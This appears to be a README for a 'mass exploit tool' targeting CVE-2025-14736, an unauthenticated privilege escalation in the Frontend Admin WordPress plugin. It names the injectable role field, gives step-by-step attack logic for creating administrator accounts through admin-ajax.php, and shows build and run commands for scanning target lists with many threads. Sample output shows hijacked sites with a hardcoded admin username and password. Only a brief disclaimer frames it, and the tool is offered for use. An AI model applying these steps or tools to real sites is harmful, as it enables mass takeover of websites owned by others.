
Unauthenticated Privilege Escalation to Administrator via Role Form Field
Author: Hyun Chiya
| Field | Value |
|---|---|
| CVE ID | CVE-2025-14736 |
| Plugin | Frontend Admin by DynamiApps |
| Affected Versions | <= 3.28.25 |
| Vulnerability Type | Unauthenticated Privilege Escalation |
| Severity | Critical |
The Frontend Admin plugin for WordPress is vulnerable to unauthenticated privilege escalation due to insufficient validation on user-controlled fields during registration. Attackers can inject arbitrary roles, including administrator, by manipulating the form submission payload.
The vulnerable logic resides in the handling of form submissions where the role field is trusted from user input without verifying if the user is authorized to assign that role. Specifically, the field acff[user][field_user_role_ID] can be modified to administrator.
flowchart TD
A["Attacker visits Registration Page"] --> B["Extract Nonce (_acf_nonce) & Form ID (_acf_form)"]
B --> C["Construct POST payload with 'role'='administrator'"]
C --> D["POST to /wp-admin/admin-ajax.php"]
D --> E{"Verification"}
E -->|Success| F["New Admin User Created"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fffgo build -o mass_exploit.exe mass_exploit.go
.\mass_exploit.exe -l list.txt -t 50
| Argument | Description |
|---|---|
-l | Path to list of target URLs (default: list.txt) |
-t | Number of concurrent threads (default: 10) |
-timeout | Request timeout in seconds (default: 15) |
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14736 - Mass Exploit Tool ║
║ Frontend Admin by DynamiApps Privilege Escalation ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Loaded 500 targets. Starting scan with 50 threads...
[SUCCESS] http://target.com | User: hacker_mass | Pass: Password123! | FormID: 48
[SUCCESS] http://example.org | User: hacker_mass | Pass: Password123! | FormID: 32
[*] Scan complete.
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.
Hyun Chiya